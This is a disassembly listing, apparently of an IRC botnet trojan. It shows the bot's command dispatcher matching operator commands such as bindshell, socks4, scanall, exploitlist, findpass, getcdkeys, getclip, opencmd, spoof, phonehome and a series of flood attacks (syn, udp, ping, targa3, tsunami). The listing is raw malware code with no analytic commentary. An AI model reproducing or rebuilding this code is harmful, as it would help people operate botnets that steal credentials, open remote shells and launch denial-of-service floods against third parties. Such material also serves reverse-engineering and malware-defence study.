; ---------------------------------------------------------------------------
loc_4026C2: ; CODE XREF: sub_401ACD+BB1j
; sub_401ACD+BB8j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026FD
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 18h
loc_4026FD: ; CODE XREF: sub_401ACD+BCAj
; sub_401ACD+BDEj ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402656
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40271A: ; CODE XREF: sub_401ACD+C99j
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_40275D
mov eax, [edi]
cmp eax, ebx
jz short loc_40275D
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
loc_40275D: ; CODE XREF: sub_401ACD+C75j
; sub_401ACD+C7Bj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40271A
mov [ebp+var_2C8], 1
loc_402772: ; CODE XREF: sub_401ACD+B01j
; sub_401ACD+B2Fj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_40278B
cmp [ebp+var_2C8], ebx
jz loc_40297C
loc_40278B: ; CODE XREF: sub_401ACD+CB0j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_417EEE
lea eax, [ebp+var_C4]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_417EEE
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_417EEE
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_417EEE
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_417EEE
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 14h
loc_4027FD: ; CODE XREF: sub_401ACD+E28j
test eax, eax
jz loc_4028FA
push edi
push [ebp+arg_0]
call sub_41B900
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41B5F0
lea eax, [ebp+var_A0]
push offset asc_42C720 ; ")"
push eax
call sub_41C0F4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_402849
cmp [ebp+var_A0], 39h
jle short loc_40285F
loc_402849: ; CODE XREF: sub_401ACD+D71j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41B5F0
add esp, 0Ch
loc_40285F: ; CODE XREF: sub_401ACD+D7Aj
lea eax, [ebp+var_A0]
push eax
call sub_41B779
test eax, eax
pop ecx
jle short loc_402885
lea eax, [ebp+var_A0]
push eax
call sub_41B779
pop ecx
mov [ebp+var_94], al
jmp short loc_402899
; ---------------------------------------------------------------------------
loc_402885: ; CODE XREF: sub_401ACD+DA1j
call sub_41B8E2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_402899: ; CODE XREF: sub_401ACD+DB6j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41AFE0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B590
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 30h
jmp loc_4027FD
; ---------------------------------------------------------------------------
loc_4028FA: ; CODE XREF: sub_401ACD+D32j
mov edi, 1FFh
lea eax, [ebp+var_4488]
push edi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push edi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4AF0]
push offset asc_42CA34 ; " "
push eax
call sub_41C0F4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40294A: ; CODE XREF: sub_401ACD+E92j
push offset asc_42CA34 ; " "
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40294A
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401E94
add ecx, 3
mov [eax], ecx
loc_40297C: ; CODE XREF: sub_401ACD+CB8j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aRn ; "rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409802
push edi
push offset aDie ; "die"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aD ; "d"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FC
push edi
push offset aLogout ; "logout"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aLo ; "lo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404954
push edi
push offset aVersion ; "version"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aVer ; "ver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404945
push edi
push offset aDedication ; "dedication"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aDed ; "ded"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493B
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSt ; "st"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404922
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsecure ; "unsecure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aUnsec ; "unsec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404824
push edi
push offset aBindshell ; "bindshell"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBd ; "bd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471E
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B40
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42C674
loc_402B24: ; CODE XREF: sub_401ACD+10C1j
; sub_401ACD+10E7j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B384
add esp, 20h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402B40: ; CODE XREF: sub_401ACD+1042j
push edi
push offset aSocks4 ; "socks4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aS4 ; "s4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FC
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B90
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C64C
jmp short loc_402B24
; ---------------------------------------------------------------------------
loc_402B90: ; CODE XREF: sub_401ACD+10ACj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB9
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C630
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BB9: ; CODE XREF: sub_401ACD+10D2j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE2
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C614
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402BE2: ; CODE XREF: sub_401ACD+10FBj
push edi
push offset aLogstop ; "logstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0B
push [ebp+esi+var_8C]
push 25h
push offset dword_42C600
push offset dword_42C5F4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C0B: ; CODE XREF: sub_401ACD+1124j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C34
push [ebp+esi+var_8C]
push 18h
push offset dword_42C5D4
push offset dword_42C5C4
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C34: ; CODE XREF: sub_401ACD+114Dj
push edi
push offset dword_42C5B8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C5D
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C5AC
push offset dword_42C5A0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C5D: ; CODE XREF: sub_401ACD+1176j
push edi
push offset aSynstop ; "synstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C86
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C58C
push offset dword_42C580
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402C86: ; CODE XREF: sub_401ACD+119Fj
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CAF
push [ebp+esi+var_8C]
push 10h
push offset dword_42C564
push offset dword_42C554
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CAF: ; CODE XREF: sub_401ACD+11C8j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD8
push [ebp+esi+var_8C]
push 11h
push offset dword_42C538
push offset dword_42C528
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402CD8: ; CODE XREF: sub_401ACD+11F1j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402D01
push [ebp+esi+var_8C]
push 12h
push offset dword_42C510
push offset dword_42C504
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402D01: ; CODE XREF: sub_401ACD+121Aj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402E57
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C5AC
push offset dword_42C5A0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 0Eh
push offset dword_42C58C
push offset dword_42C580
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 17h
push offset dword_42C4EC
push offset dword_42C4E0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 16h
push offset dword_42C4D4
push offset dword_42C4C8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 11h
push offset dword_42C538
push offset dword_42C528
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 12h
push offset dword_42C510
push offset dword_42C504
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 0Fh
push offset dword_42C4B8
push offset dword_42C4A8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push esi
push 13h
push offset dword_42C498
push offset dword_42C488
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
add esp, 40h
push esi
push 10h
push offset dword_42C564
push offset dword_42C554
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B384
push ebx
push [ebp+var_4]
push offset unk_42C454
push [ebp+var_88]
push edi
call sub_409A72
add esp, 34h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402E57: ; CODE XREF: sub_401ACD+1243j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402E80
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C4B8
push offset dword_42C4A8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402E80: ; CODE XREF: sub_401ACD+1399j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA9
push [ebp+esi+var_8C]
push 13h
push offset dword_42C498
push offset dword_42C488
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EA9: ; CODE XREF: sub_401ACD+13C2j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED2
push [ebp+esi+var_8C]
push 17h
push offset dword_42C4EC
push offset dword_42C4E0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402ED2: ; CODE XREF: sub_401ACD+13EBj
push edi
push offset aPingstop ; "pingstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EFB
push [ebp+esi+var_8C]
push 16h
push offset dword_42C4D4
push offset dword_42C4C8
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402EFB: ; CODE XREF: sub_401ACD+1414j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402F24
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C40C
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402F24: ; CODE XREF: sub_401ACD+143Dj
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aFfstop ; "ffstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E4
push edi
push offset aProcsstop ; "procsstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aPsstop ; "psstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CC
push edi
push offset aClonestop ; "clonestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA1
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C3BC
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FA1: ; CODE XREF: sub_401ACD+14BAj
push edi
push offset aSecurestop ; "securestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FCA
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C398
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FCA: ; CODE XREF: sub_401ACD+14E3j
push edi
push offset aScanstop ; "scanstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FF3
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C378
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_402FF3: ; CODE XREF: sub_401ACD+150Cj
push edi
push offset aScanstats ; "scanstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aStats ; "stats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B6
push edi
push offset aTransferstats ; "transferstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aTrstats ; "trstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A0
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aCbstats ; "cbstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458A
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aExplist ; "explist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404574
push edi
push offset aReconnect ; "reconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404555
push edi
push offset aDisconnect ; "disconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aDc ; "dc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404533
push edi
push offset aQuit_0 ; "quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aQ ; "q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EB
push edi
push offset aStatus ; "status"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aS_0 ; "s"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D7
push edi
push offset aId ; "id"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aI ; "i"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A0
push edi
push offset aReboot ; "reboot"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4031BF
call sub_418337
test eax, eax
mov eax, offset unk_42C2B4
jnz short loc_403191
mov eax, offset unk_42C28C
loc_403191: ; CODE XREF: sub_401ACD+16BDj
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 1Ch
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4031BF: ; CODE XREF: sub_401ACD+16AFj
push edi
push offset aThreads ; "threads"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aT ; "t"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C1
push edi
push offset aAliases ; "aliases"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aAl ; "al"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439E
push edi
push offset aLog ; "log"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aLg ; "lg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AB
push edi
push offset aClearlog ; "clearlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aClg ; "clg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404292
push edi
push offset aNetinfo ; "netinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aNi ; "ni"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404258
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aSi ; "si"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422D
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F3
push edi
push offset aProcs ; "procs"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aPs ; "ps"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D0
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aKey ; "key"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B2
push edi
push offset aUptime ; "uptime"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aUp ; "up"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402A
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aDrv ; "drv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400D
push edi
push offset aTestdlls ; "testdlls"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aDll ; "dll"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF4
push edi
push offset aOpencmd ; "opencmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aOcmd ; "ocmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB5
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40340A
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C1CC
push offset dword_42C1C0
jmp loc_402B24
; ---------------------------------------------------------------------------
loc_40340A: ; CODE XREF: sub_401ACD+1923j
push edi
push offset dword_42C1BC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_403527
cmp [ebp+var_8], ebx
jnz short loc_40343E
push ebx
push [ebp+var_4]
push offset dword_42C1A8
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40343E: ; CODE XREF: sub_401ACD+1955j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_40344C
; ---------------------------------------------------------------------------
loc_403449: ; CODE XREF: sub_401ACD+19CBj
mov eax, [ebp+arg_18]
loc_40344C: ; CODE XREF: sub_401ACD+197Aj
cmp [eax], bl
jz short loc_403453
inc eax
jmp short loc_403458
; ---------------------------------------------------------------------------
loc_403453: ; CODE XREF: sub_401ACD+1981j
mov eax, offset aEmpty ; "<Empty>"
loc_403458: ; CODE XREF: sub_401ACD+1984j
push eax
lea eax, [ebp+var_2C4]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_403449
push offset unk_42C174
call sub_4151AC
pop ecx
loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj
; sub_401ACD+2F43j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401E94
push edi
push offset aSpoof ; "spoof"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404AF4
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404A22
lea eax, [ebp+var_2C4]
push offset unk_42C140
push eax
mov dword_4CE728, ebx
call sub_41B886
pop ecx
pop ecx
loc_4034FD: ; CODE XREF: sub_401ACD+3022j
cmp [ebp+var_8], ebx
jnz loc_409854
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
loc_40351F: ; CODE XREF: sub_401ACD+7118j
add esp, 14h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_403527: ; CODE XREF: sub_401ACD+194Cj
push edi
push offset aGetclip ; "getclip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aGc ; "gc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F74
push edi
push offset aFlusharp ; "flusharp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFarp ; "farp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5D
push edi
push offset aFlushdns ; "flushdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aFdns ; "fdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F25
push edi
push offset aCurrentip ; "currentip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aCip ; "cip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEB
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aRlogin ; "rlogin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB0
push edi
push offset aHttpserver ; "httpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aHttp ; "http"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C24
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aTftp ; "tftp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEA
push edi
push offset aCrash ; "crash"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B3
lea eax, [ebp+var_2C4]
push offset dword_42C098
push eax
call sub_41B886
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403692
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_403692: ; CODE XREF: sub_401ACD+1BA7j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
mov [esp+10h+var_10], offset aCrash ; "crash"
push [ebp+esi+var_7C]
call sub_41C070
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj
push edi
push offset aScanall ; "scanall"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aSa ; "sa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E6
push edi
push offset aPhonehome ; "phonehome"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_403707
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_409A2C
jmp loc_401F52
; ---------------------------------------------------------------------------
loc_403707: ; CODE XREF: sub_401ACD+1C1Fj
push edi
push offset aFindpass ; "findpass"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40372D
push edi
push offset aFp ; "fp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4034A5
loc_40372D: ; CODE XREF: sub_401ACD+1C49j
push [ebp+var_88]
lea eax, [ebp+var_F54]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset unk_42C024
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_416F1A
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4037D5
loc_4037BF: ; CODE XREF: sub_401ACD+1D06j
cmp [ebp+var_EC8], ebx
jnz loc_4083BC
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_4037BF
; ---------------------------------------------------------------------------
loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j
nop
call near ptr 2670897h
push eax
push offset unk_42BFE8
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j
; sub_401ACD+1C0Aj
mov al, byte_4315F2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4315F2
jz loc_401E94
mov ecx, edx
loc_4037FD: ; CODE XREF: sub_401ACD+1D38j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FD
cmp al, bl
jz loc_401E94
mov [ebp+arg_18], edx
mov esi, offset aF ; "#f"
loc_403817: ; CODE XREF: sub_401ACD+2008j
push 0Bh
call sub_40B33E
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403866
push ecx
lea eax, [ebp+var_2C4]
push offset unk_42BFA8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
jmp loc_403ACC
; ---------------------------------------------------------------------------
loc_403866: ; CODE XREF: sub_401ACD+1D64j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431410, ebx
mov [ebp+var_734], 4Bh
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_4038D7
mov edi, offset dword_431410
loc_40389B: ; CODE XREF: sub_401ACD+1DECj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4038BD
inc [ebp+arg_0]
add edi, 40h
cmp [edi], ebx
jnz short loc_40389B
